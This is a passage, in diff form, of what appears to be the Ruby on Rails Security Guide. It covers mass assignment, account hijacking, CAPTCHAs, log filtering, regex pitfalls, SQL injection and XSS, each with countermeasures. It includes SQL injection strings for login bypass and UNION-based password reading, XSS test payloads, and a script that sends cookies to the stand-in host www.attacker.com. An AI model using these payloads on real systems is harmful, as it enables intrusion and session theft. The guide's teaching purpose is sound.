+ <p>The mass-assignment feature may become a problem, as it allows an attacker to set any model&#8217;s attributes by manipulating the hash passed to a model&#8217;s <tt>new()</tt> method:</p>
396
+ <div class="code_container">
397
+ <pre class="brush: ruby; gutter: false; toolbar: false">
398
+ def signup
399
+ params[:user] # =&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}
400
+ @user = User.new(params[:user])
401
+ end
402
+ </pre>
403
+ </div>
404
+ <p>Mass-assignment saves you much work, because you don&#8217;t have to set each value individually. Simply pass a hash to the <tt>new</tt> method, or <tt>assign_attributes=</tt> a hash value, to set the model&#8217;s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the <span class="caps">URL</span> like this:</p>
405
+ <pre>
406
+ "name":http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1
407
+ </pre>
408
+ <p>This will set the following parameters in the controller:</p>
409
+ <div class="code_container">
410
+ <pre class="brush: ruby; gutter: false; toolbar: false">
411
+ params[:user] # =&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}
412
+ </pre>
413
+ </div>
414
+ <p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p>
415
+ <p>Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3<tt>. The </tt>accepts_nested_attributes_for<tt> declaration provides us the ability to extend mass assignment to model associations (</tt>has_many<tt>, </tt>has_one<tt>, </tt>has_and_belongs_to_many+). For example:</p>
416
+ <div class="code_container">
417
+ <pre class="brush: ruby; gutter: false; toolbar: false">
418
+ class Person &lt; ActiveRecord::Base
419
+ has_many :children
420
+
421
+ accepts_nested_attributes_for :children
422
+ end
423
+
424
+ class Child &lt; ActiveRecord::Base
425
+ belongs_to :person
426
+ end
427
+ </pre>
428
+ </div>
429
+ <p>As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).</p>
430
+ <h4 id="countermeasures">6.1 Countermeasures</h4>
431
+ <p>To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The <tt>attr_protected</tt> method takes a list of attributes that will not be accessible for mass-assignment. For example:</p>
432
+ <div class="code_container">
433
+ <pre class="brush: ruby; gutter: false; toolbar: false">
434
+ attr_protected :admin
435
+ </pre>
436
+ </div>
437
+ <p><tt>attr_protected</tt> also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.</p>
438
+ <div class="code_container">
439
+ <pre class="brush: ruby; gutter: false; toolbar: false">
440
+ attr_protected :last_login, :as =&gt; :admin
441
+ </pre>
442
+ </div>
443
+ <p>A much better way, because it follows the whitelist-principle, is the <tt>attr_accessible</tt> method. It is the exact opposite of <tt>attr_protected</tt>, because <em class="highlight">it takes a list of attributes that will be accessible</em>. All other attributes will be protected. This way you won&#8217;t forget to protect attributes when adding new ones in the course of development. Here is an example:</p>
444
+ <div class="code_container">
445
+ <pre class="brush: ruby; gutter: false; toolbar: false">
446
+ attr_accessible :name
447
+ attr_accessible :name, :is_admin, :as =&gt; :admin
448
+ </pre>
449
+ </div>
450
+ <p>If you want to set a protected attribute, you will to have to assign it individually:</p>
451
+ <div class="code_container">
452
+ <pre class="brush: ruby; gutter: false; toolbar: false">
453
+ params[:user] # =&gt; {:name =&gt; &quot;ow3ned&quot;, :admin =&gt; true}
454
+ @user = User.new(params[:user])
455
+ @user.admin # =&gt; false # not mass-assigned
456
+ @user.admin = true
457
+ @user.admin # =&gt; true
458
+ </pre>
459
+ </div>
460
+ <p>When assigning attributes in Active Record using <tt>attributes=</tt> the :default role will be used. To assign attributes using different roles you should use <tt>assign_attributes</tt> which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the <tt>:without_protection</tt> option. Here is an example:</p>
461
+ <div class="code_container">
462
+ <pre class="brush: ruby; gutter: false; toolbar: false">
463
+ @user = User.new
464
+
465
+ @user.assign_attributes({ :name =&gt; 'Josh', :is_admin =&gt; true })
466
+ @user.name # =&gt; Josh
467
+ @user.is_admin # =&gt; false
468
+
469
+ @user.assign_attributes({ :name =&gt; 'Josh', :is_admin =&gt; true }, :as =&gt; :admin)
470
+ @user.name # =&gt; Josh
471
+ @user.is_admin # =&gt; true
472
+
473
+ @user.assign_attributes({ :name =&gt; 'Josh', :is_admin =&gt; true }, :without_protection =&gt; true)
474
+ @user.name # =&gt; Josh
475
+ @user.is_admin # =&gt; true
476
+ </pre>
477
+ </div>
478
+ <p>In a similar way, <tt>new</tt>, <tt>create</tt>, <tt>create!</tt>, <tt>update_attributes</tt>, and <tt>update_attributes!</tt> methods all respect mass-assignment security and accept either <tt>:as</tt> or <tt>:without_protection</tt> options. For example:</p>
479
+ <div class="code_container">
480
+ <pre class="brush: ruby; gutter: false; toolbar: false">
481
+ @user = User.new({ :name =&gt; 'Sebastian', :is_admin =&gt; true }, :as =&gt; :admin)
482
+ @user.name # =&gt; Sebastian
483
+ @user.is_admin # =&gt; true
484
+
485
+ @user = User.create({ :name =&gt; 'Sebastian', :is_admin =&gt; true }, :without_protection =&gt; true)
486
+ @user.name # =&gt; Sebastian
487
+ @user.is_admin # =&gt; true
488
+ </pre>
489
+ </div>
490
+ <p>A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:</p>
491
+ <div class="code_container">
492
+ <pre class="brush: ruby; gutter: false; toolbar: false">
493
+ config.active_record.whitelist_attributes = true
494
+ </pre>
495
+ </div>
496
+ <p>This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an <tt>attr_accessible</tt> or <tt>attr_protected</tt> declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via <tt>attr_accessible</tt> or <tt>attr_protected</tt>) as dictated by your failing tests.</p>
497
+ <h3 id="user-management">7 User Management</h3>
498
+ <p>&#8212; <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p>
499
+ <p>There are a number of authentication plug-ins for Rails available. Good ones, such as the popular <a href="https://github.com/plataformatec/devise">devise</a> and <a href="https://github.com/binarylogic/authlogic">authlogic</a>, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in <tt>has_secure_password</tt> method which has similar features.</p>
500
+ <p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to <span class="caps">NULL</span> in the database. If someone requested an <span class="caps">URL</span> like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p>
501
+ <div class="code_container">
502
+ <pre class="brush: plain; gutter: false; toolbar: false">
503
+ http://localhost:3006/user/activate
504
+ http://localhost:3006/user/activate?id=
505
+ </pre>
506
+ </div>
507
+ <p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p>
508
+ <div class="code_container">
509
+ <pre class="brush: ruby; gutter: false; toolbar: false">
510
+ User.find_by_activation_code(params[:id])
511
+ </pre>
512
+ </div>
513
+ <p>If the parameter was nil, the resulting <span class="caps">SQL</span> query will be</p>
514
+ <div class="code_container">
515
+ <pre class="brush: sql; gutter: false; toolbar: false">
516
+ SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
517
+ </pre>
518
+ </div>
519
+ <p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <em class="highlight">It is advisable to update your plug-ins from time to time</em>. Moreover, you can review your application to find more flaws like this.</p>
520
+ <h4 id="brute-forcing-accounts">7.1 Brute-Forcing Accounts</h4>
521
+ <p>&#8212; <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a <span class="caps">CAPTCHA</span>.</em></p>
522
+ <p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don&#8217;t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.</p>
523
+ <p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p>
524
+ <p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p>
525
+ <p>In order to mitigate such attacks, <em class="highlight">display a generic error message on forgot-password pages, too</em>. Moreover, you can <em class="highlight">require to enter a <span class="caps">CAPTCHA</span> after a number of failed logins from a certain IP address</em>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p>
526
+ <h4 id="account-hijacking">7.2 Account Hijacking</h4>
527
+ <p>&#8212; <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p>
528
+ <h5 id="passwords">7.2.1 Passwords</h5>
529
+ <p>Think of a situation where an attacker has stolen a user&#8217;s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to <span class="caps">CSRF</span>, the attacker will be able to change the victim&#8217;s password by luring him to a web page where there is a crafted <span class="caps">IMG</span>-tag which does the <span class="caps">CSRF</span>. As a countermeasure, <em class="highlight">make change-password forms safe against <span class="caps">CSRF</span></em>, of course. And <em class="highlight">require the user to enter the old password when changing it</em>.</p>
530
+ <h5 id="e-mail">7.2.2 E-Mail</h5>
531
+ <p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker&#8217;s e-mail address. As a countermeasure <em class="highlight">require the user to enter the password when changing the e-mail address, too</em>.</p>
532
+ <h5 id="other">7.2.3 Other</h5>
533
+ <p>Depending on your web application, there may be more ways to hijack the user&#8217;s account. In many cases <span class="caps">CSRF</span> and <span class="caps">XSS</span> will help to do so. For example, as in a <span class="caps">CSRF</span> vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted <span class="caps">IMG</span>-tag which results in a <span class="caps">HTTP</span> <span class="caps">GET</span> request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <em class="highlight">review your application logic and eliminate all <span class="caps">XSS</span> and <span class="caps">CSRF</span> vulnerabilities</em>.</p>
534
+ <h4 id="captchas">7.3 CAPTCHAs</h4>
535
+ <p>&#8212; <em>A <span class="caps">CAPTCHA</span> is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative <span class="caps">CAPTCHA</span> is not for a user to prove that he is human, but reveal that a robot is a robot.</em></p>
536
+ <p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular <span class="caps">CAPTCHA</span> <span class="caps">API</span> is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the <span class="caps">API</span>.</p>
537
+ <p>You will get two keys from the <span class="caps">API</span>, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
538
+ The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p>
539
+ <p>Most bots are really dumb, they crawl the web and put their spam into every form&#8217;s field they can find. Negative CAPTCHAs take advantage of that and include a &#8220;honeypot&#8221; field in the form which will be hidden from the human user by <span class="caps">CSS</span> or JavaScript.</p>
540
+ <p>Here are some ideas how to hide honeypot fields by JavaScript and/or <span class="caps">CSS</span>:</p>
541
+ <ul>
542
+ <li>position the fields off of the visible area of the page</li>
543
+ <li>make the elements very small or color them the same as the background of the page</li>
544
+ <li>leave the fields displayed, but tell humans to leave them blank</li>
545
+ </ul>
546
+ <p>The most simple negative <span class="caps">CAPTCHA</span> is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p>
547
+ <p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder&#8217;s <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p>
548
+ <ul>
549
+ <li>Include a field with the current <span class="caps">UTC</span> time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.</li>
550
+ <li>Randomize the field names</li>
551
+ <li>Include more than one honeypot field of all types, including submission buttons</li>
552
+ </ul>
553
+ <p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So <em class="highlight">negative CAPTCHAs might not be good to protect login forms</em>.</p>
554
+ <h4 id="logging">7.4 Logging</h4>
555
+ <p>&#8212; <em>Tell Rails not to put passwords in the log files.</em></p>
556
+ <p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <em class="highlight">filter certain request parameters from your log files</em> by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [<span class="caps">FILTERED</span>] in the log.</p>
557
+ <div class="code_container">
558
+ <pre class="brush: ruby; gutter: false; toolbar: false">
559
+ config.filter_parameters &lt;&lt; :password
560
+ </pre>
561
+ </div>
562
+ <h4 id="good-passwords">7.5 Good Passwords</h4>
563
+ <p>&#8212; <em>Do you find it hard to remember all your passwords? Don&#8217;t write them down, but use the initial letters of each word in an easy to remember sentence.</em></p>
564
+ <p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analyzed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p>
565
+ <p>password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.</p>
566
+ <p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today&#8217;s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p>
567
+ <p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <em class="highlight">first letters of a sentence that you can easily remember</em>. For example &#8220;The quick brown fox jumps over the lazy dog&#8221; will be &#8220;Tqbfjotld&#8221;. Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p>
568
+ <h4 id="regular-expressions">7.6 Regular Expressions</h4>
569
+ <p>&#8212; <em>A common pitfall in Ruby&#8217;s regular expressions is to match the string&#8217;s beginning and end by ^ and $, instead of \A and \z.</em></p>
570
+ <p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p>
571
+ <div class="code_container">
572
+ <pre class="brush: ruby; gutter: false; toolbar: false">
573
+ class File &lt; ActiveRecord::Base
574
+ validates :name, :format =&gt; /^[\w\.\-\+]+$/
575
+ end
576
+ </pre>
577
+ </div>
578
+ <p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <em class="highlight">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</em>. And thus a file name like this passes the filter without problems:</p>
579
+ <div class="code_container">
580
+ <pre class="brush: plain; gutter: false; toolbar: false">
581
+ file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;
582
+ </pre>
583
+ </div>
584
+ <p>Whereas %0A is a line feed in <span class="caps">URL</span> encoding, so Rails automatically converts it to &#8220;file.txt\n&lt;script&gt;alert(&#8216;hello&#8217;)&lt;/script&gt;&#8221;. This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p>
585
+ <div class="code_container">
586
+ <pre class="brush: ruby; gutter: false; toolbar: false">
587
+ /\A[\w\.\-\+]+\z/
588
+ </pre>
589
+ </div>
590
+ <h4 id="privilege-escalation">7.7 Privilege Escalation</h4>
591
+ <p>&#8212; <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p>
592
+ <p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:</p>
593
+ <div class="code_container">
594
+ <pre class="brush: ruby; gutter: false; toolbar: false">
595
+ @project = Project.find(params[:id])
596
+ </pre>
597
+ </div>
598
+ <p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <em class="highlight">query the user&#8217;s access rights, too</em>:</p>
599
+ <div class="code_container">
600
+ <pre class="brush: ruby; gutter: false; toolbar: false">
601
+ @project = @current_user.projects.find(params[:id])
602
+ </pre>
603
+ </div>
604
+ <p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <em class="highlight">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</em>.</p>
605
+ <p>Don&#8217;t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form&#8217;s hidden fields. <em class="highlight">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</em>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p>
606
+ <h3 id="injection">8 Injection</h3>
607
+ <p>&#8212; <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (<span class="caps">XSS</span>) and <span class="caps">SQL</span> injection.</em></p>
608
+ <p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p>
609
+ <h4 id="whitelists-versus-blacklists">8.1 Whitelists versus Blacklists</h4>
610
+ <p>&#8212; <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p>
611
+ <p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad <span class="caps">HTML</span> tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good <span class="caps">HTML</span> tags and so on. Although, sometimes it is not possible to create a whitelist (in a <span class="caps">SPAM</span> filter, for example), <em class="highlight">prefer to use whitelist approaches</em>:</p>
612
+ <ul>
613
+ <li>Use before_filter :only =&gt; [&#8230;] instead of :except =&gt; [&#8230;]. This way you don&#8217;t forget to turn it off for newly added actions.</li>
614
+ <li>Use attr_accessible instead of attr_protected. See the mass-assignment section for details</li>
615
+ <li>Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (<span class="caps">XSS</span>). See below for details.</li>
616
+ <li>Don&#8217;t try to correct user input by blacklists:
617
+ <ul>
618
+ <li>This will make the attack work: &#8220;&lt;sc&lt;script&gt;ript&gt;&#8221;.gsub(&#8220;&lt;script&gt;&#8221;, &quot;&quot;)</li>
619
+ <li>But reject malformed input</li>
620
+ </ul></li>
621
+ </ul>
622
+ <p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p>
623
+ <h4 id="sql-injection">8.2 <span class="caps">SQL</span> Injection</h4>
624
+ <p>&#8212; <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p>
625
+ <h5 id="sql-injection-introduction">8.2.1 Introduction</h5>
626
+ <p><span class="caps">SQL</span> injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of <span class="caps">SQL</span> injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p>
627
+ <div class="code_container">
628
+ <pre class="brush: ruby; gutter: false; toolbar: false">
629
+ Project.where(&quot;name = '#{params[:name]}'&quot;)
630
+ </pre>
631
+ </div>
632
+ <p>This could be in a search action and the user may enter a project&#8217;s name that he wants to find. If a malicious user enters &#8217; OR 1 &#8212;, the resulting <span class="caps">SQL</span> query will be:</p>
633
+ <div class="code_container">
634
+ <pre class="brush: sql; gutter: false; toolbar: false">
635
+ SELECT * FROM projects WHERE name = '' OR 1 --'
636
+ </pre>
637
+ </div>
638
+ <p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p>
639
+ <h5 id="bypassing-authorization">8.2.2 Bypassing Authorization</h5>
640
+ <p>Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with <span class="caps">SQL</span> injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p>
641
+ <div class="code_container">
642
+ <pre class="brush: ruby; gutter: false; toolbar: false">
643
+ User.first(&quot;login = '#{params[:name]}' AND password = '#{params[:password]}'&quot;)
644
+ </pre>
645
+ </div>
646
+ <p>If an attacker enters &#8217; OR &#8216;1&#8217;=&#8216;1 as the name, and &#8217; OR &#8217;2&#8217;&gt;&#8217;1 as the password, the resulting <span class="caps">SQL</span> query will be:</p>
647
+ <div class="code_container">
648
+ <pre class="brush: sql; gutter: false; toolbar: false">
649
+ SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
650
+ </pre>
651
+ </div>
652
+ <p>This will simply find the first record in the database, and grants access to this user.</p>
653
+ <h5 id="unauthorized-reading">8.2.3 Unauthorized Reading</h5>
654
+ <p>The <span class="caps">UNION</span> statement connects two <span class="caps">SQL</span> queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let&#8217;s take the example from above:</p>
655
+ <div class="code_container">
656
+ <pre class="brush: ruby; gutter: false; toolbar: false">
657
+ Project.where(&quot;name = '#{params[:name]}'&quot;)
658
+ </pre>
659
+ </div>
660
+ <p>And now let&#8217;s inject another query using the <span class="caps">UNION</span> statement:</p>
661
+ <div class="code_container">
662
+ <pre class="brush: plain; gutter: false; toolbar: false">
663
+ ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
664
+ </pre>
665
+ </div>
666
+ <p>This will result in the following <span class="caps">SQL</span> query:</p>
667
+ <div class="code_container">
668
+ <pre class="brush: sql; gutter: false; toolbar: false">
669
+ SELECT * FROM projects WHERE (name = '') UNION
670
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --'
671
+ </pre>
672
+ </div>
673
+ <p>The result won&#8217;t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That&#8217;s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p>
674
+ <p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p>
675
+ <h5 id="sql-injection-countermeasures">8.2.4 Countermeasures</h5>
676
+ <p>Ruby on Rails has a built-in filter for special <span class="caps">SQL</span> characters, which will escape &#8217; , &quot; , <span class="caps">NULL</span> character and line breaks. <em class="highlight">Using <tt>Model.find(id)</tt> or <tt>Model.find_by_some thing(something)</tt> automatically applies this countermeasure</em>. But in <span class="caps">SQL</span> fragments, especially <em class="highlight">in conditions fragments (<tt>where("...")</tt>), the <tt>connection.execute()</tt> or <tt>Model.find_by_sql()</tt> methods, it has to be applied manually</em>.</p>
677
+ <p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p>
678
+ <div class="code_container">
679
+ <pre class="brush: ruby; gutter: false; toolbar: false">
680
+ Model.where(&quot;login = ? AND password = ?&quot;, entered_user_name, entered_password).first
681
+ </pre>
682
+ </div>
683
+ <p>As you can see, the first part of the array is an <span class="caps">SQL</span> fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p>
684
+ <div class="code_container">
685
+ <pre class="brush: ruby; gutter: false; toolbar: false">
686
+ Model.where(:login =&gt; entered_user_name, :password =&gt; entered_password).first
687
+ </pre>
688
+ </div>
689
+ <p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <em class="highlight">Make it a habit to think about the security consequences when using an external string in <span class="caps">SQL</span></em>.</p>
690
+ <h4 id="cross-site-scripting-xss">8.3 Cross-Site Scripting (<span class="caps">XSS</span>)</h4>
691
+ <p>&#8212; <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is <span class="caps">XSS</span>. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p>
692
+ <h5 id="entry-points">8.3.1 Entry Points</h5>
693
+ <p>An entry point is a vulnerable <span class="caps">URL</span> and its parameters where an attacker can start an attack.</p>
694
+ <p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable &#8211; just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any <span class="caps">URL</span> parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live <span class="caps">HTTP</span> Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p>
695
+ <p><span class="caps">XSS</span> attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most <span class="caps">XSS</span> examples simply display an alert box, but it is more powerful than that. <span class="caps">XSS</span> can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p>
696
+ <p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/mpack-uncovered/">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an <span class="caps">SQL</span>-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.</p>
697
+ <p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p>
698
+ <h5 id="html-javascript-injection">8.3.2 <span class="caps">HTML</span>/JavaScript Injection</h5>
699
+ <p>The most common <span class="caps">XSS</span> language is of course the most popular client-side scripting language JavaScript, often in combination with <span class="caps">HTML</span>. <em class="highlight">Escaping user input is essential</em>.</p>
700
+ <p>Here is the most straightforward test to check for <span class="caps">XSS</span>:</p>
701
+ <div class="code_container">
702
+ <pre class="brush: xml; gutter: false; toolbar: false">
703
+ &lt;script&gt;alert('Hello');&lt;/script&gt;
704
+ </pre>
705
+ </div>
706
+ <p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p>
707
+ <div class="code_container">
708
+ <pre class="brush: xml; gutter: false; toolbar: false">
709
+ &lt;img src=javascript:alert('Hello')&gt;
710
+ &lt;table background=&quot;javascript:alert('Hello')&quot;&gt;
711
+ </pre>
712
+ </div>
713
+ <h6 id="cookie-theft">8.3.2.1 Cookie Theft</h6>
714
+ <p>These examples don&#8217;t do any harm so far, so let&#8217;s see how an attacker can steal the user&#8217;s cookie (and thus hijack the user&#8217;s session). In JavaScript you can use the document.cookie property to read and write the document&#8217;s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the <span class="caps">HTML</span> document (as it happens with <span class="caps">XSS</span>). Inject this anywhere in your web application to see your own cookie on the result page:</p>
715
+ <div class="code_container">
716
+ <pre class="brush: plain; gutter: false; toolbar: false">
717
+ &lt;script&gt;document.write(document.cookie);&lt;/script&gt;
718
+ </pre>
719
+ </div>
720
+ <p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the <span class="caps">URL</span> http://www.attacker.com/ plus the cookie. Of course this <span class="caps">URL</span> does not exist, so the browser displays nothing. But the attacker can review his web server&#8217;s access log files to see the victim&#8217;s cookie.</p>
721
+ <div class="code_container">
722
+ <pre class="brush: xml; gutter: false; toolbar: false">
723
+ &lt;script&gt;document.write('&lt;img src=&quot;http://www.attacker.com/' + document.cookie + '&quot;&gt;');&lt;/script&gt;
724
+ </pre>
725
+ </div>
726
+ <p>The log files on www.attacker.com will read like this:</p>
727
+ <div class="code_container">
728
